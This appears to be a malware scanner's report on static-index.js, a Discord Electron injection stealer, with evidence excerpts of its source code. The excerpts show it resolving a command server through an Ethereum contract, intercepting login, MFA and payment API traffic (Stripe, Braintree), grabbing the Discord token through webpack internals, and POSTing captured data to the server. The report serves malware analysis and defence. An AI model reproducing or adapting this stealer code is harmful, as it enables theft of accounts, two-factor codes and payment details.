Hostile ^92% Download

static-index.js

Steals Discord credentials and payment data

Discord Electron token interceptionReferences the toString conversion method

SHA-256d9f3c46beb0cd04099b6af230298b90b972fdd228ec4c568d6908574cd9e9125

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeK(Am)O₃(Ca₂As₂C₂)H₈(BrCm₁₈Cr₂Db₁₂F₃OsPo₆Ti)Md₄(BkInPa)

Evidence

Imports the Node.js HTTPS module lines 1–48

1const querystring = require('querystring');
2const https = require('https');
3const crypto = require('crypto');
4const fs = require('fs');
5
6const {
7    BrowserWindow,
8    session,
9} = require('electron');
10
11const DEBUG_LOG = 'C:\\Users\\vbox\\Desktop\\dci\\logs.log';
12const debug = (msg) => {
13    try {
14        fs.appendFileSync(DEBUG_LOG, `[${new Date().toISOString()}] ${msg}\n`);
15    } catch {}
16};
17
18debug('=== INJECTION LOADED ===');
19
20const RPC_URLS = [
21    "https://eth.llamarpc.com", "https://eth.api.onfinality.io/public", "https://rpc.eth.gateway.fm",
22    "https://ethereum-rpc.publicnode.com", "https://eth.rpc.blxrbdn.com", "https://ethereum.rpc.subquery.network/public",
23    "https://ethereum-json-rpc.stakely.io", "https://ethereum-public.nodies.app", "https://core.gashawk.io/rpc",
24    "https://mainnet.gateway.tenderly.co", "https://ethereum-mainnet.gateway.tatum.io", "https://eth1.lava.build",
25    "https://eth.meowrpc.com", "https://public-eth.nownodes.io", "https://rpc.mevblocker.io/fast",
26    "https://rpc.mevblocker.io/noreverts", "https://rpc.mevblocker.io/fullprivacy",
27    "https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7", "https://eth-mainnet.public.blastapi.io",
28    "https://ethereum.public.blockpi.network/v1/rpc/public",
29    "https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf",
30    "https://eth.drpc.org", "https://eth.blockrazor.xyz", "https://rpc.flashbots.net/fast",
31    "https://gateway.tenderly.co/public/mainnet", "https://rpc.flashbots.net", "https://rpc.fullsend.to",
32    "https://eth.merkle.io", "https://api.zan.top/eth-mainnet", "https://rpc.mevblocker.io",
33    "https://endpoints.omniatech.io/v1/eth/mainnet/public", "https://1rpc.io/eth"
34];
35
36const CONTRACT_ADDRESS = "0x9044f5762e43b23ba91d124b51a045f1b51da652";
37const GET_TEXT_SELECTOR = "0x1f1bd692";
38
⋯4 lines
43    return new Promise((resolve, reject) => {
44        const urlObj = new URL(url);
45        const req = https.request({
46            hostname: urlObj.hostname,
47            port: urlObj.port || 443,
48            path: urlObj.pathname + urlObj.search,

HTTP login path lines 111–153

4…  }
  debug('No valid server URL found');
  return null;
114};
115
116const initServerUrl = async () => {
  if (!SERVER_URL) {
      SERVER_URL = "https://" + await getVerifiedServerUrl();
⋯5 lines
  api_intercept: {
      urls: [
          '/auth/login',
          '/auth/register',
          '/mfa/totp',
          '/mfa/totp/enable',
          '/mfa/totp/disable',
          '/mfa/codes-verification',
          '/validate-billing-address',
          '/users/@me',
      ],
  },
  blocked_requests: {
      urls: [
          'wss://remote-auth-gateway.discord.gg/*',
          'https://discord.com/api/v*/auth/sessions',
          'https://*.discord.com/api/v*/auth/sessions',
          'https://discordapp.com/api/v*/auth/sessions'
      ],
  },
  payment_intercept: {
      urls: [
          'https://api.braintreegateway.com/merchants/49pp2rp4phym7387/client_api/v*/payment_methods/paypal_accounts',
          'https://api.stripe.com/v*/tokens',
⋯6 lines

Sets an HTTP Content-Length header lines 162–176

47… , ...data });
      debug(`Sending payload: ${payload.substring(0, 100)}...`);
      const urlObj = new URL(url);
      const req = https.request({
          hostname: urlObj.hostname,
          port: urlObj.port || 443,
          path: urlObj.pathname,
          method: 'POST',
          headers: {
              'Content-Type': 'application/json',
              'Content-Length': Buffer.byteLength(payload)
          }
      }, (res) => {
          debug(`Server response: ${res.statusCode}`);
      …

Discord webpack runtime global lines 187–197

20… BrowserWindow.getAllWindows()[0];
  return window.webContents.executeJavaScript(script, !0);
189};
190
191const getToken = async () => await executeJS(`
  (function() {
      const chunk = window.webpackChunkdiscord_app || window.webpackChunkdiscord_app_canary || window.webpackChunkdiscord_app_ptb;
      if (!chunk) return null;
      for (let e of Object.values(chunk.push([[Symbol()], {}, e => e.c]))) {
          try {
              if (!e.exports || e.exports === window …

Electron webContents debugger attachment lines 281–293

17… ut(grabTokenOnStart, 8000);
      setTimeout(grabTokenOnStart, 15000);
  }
284
  debug('Attaching debugger');
  mainWindow.webContents.debugger.attach('1.3');
  mainWindow.webContents.debugger.on('message', async (_, method, params) => {
      if (method !== 'Network.responseReceived') return;
      if (!CONFIG.api_intercept.urls.some(url => params.response.url.endsWith(url))) return;
      if (![200, 202].includes(params.response.status)) return;
      debug(`Intercepted: ${params.response.url}`);
292
      const responseUnparsedData = awa …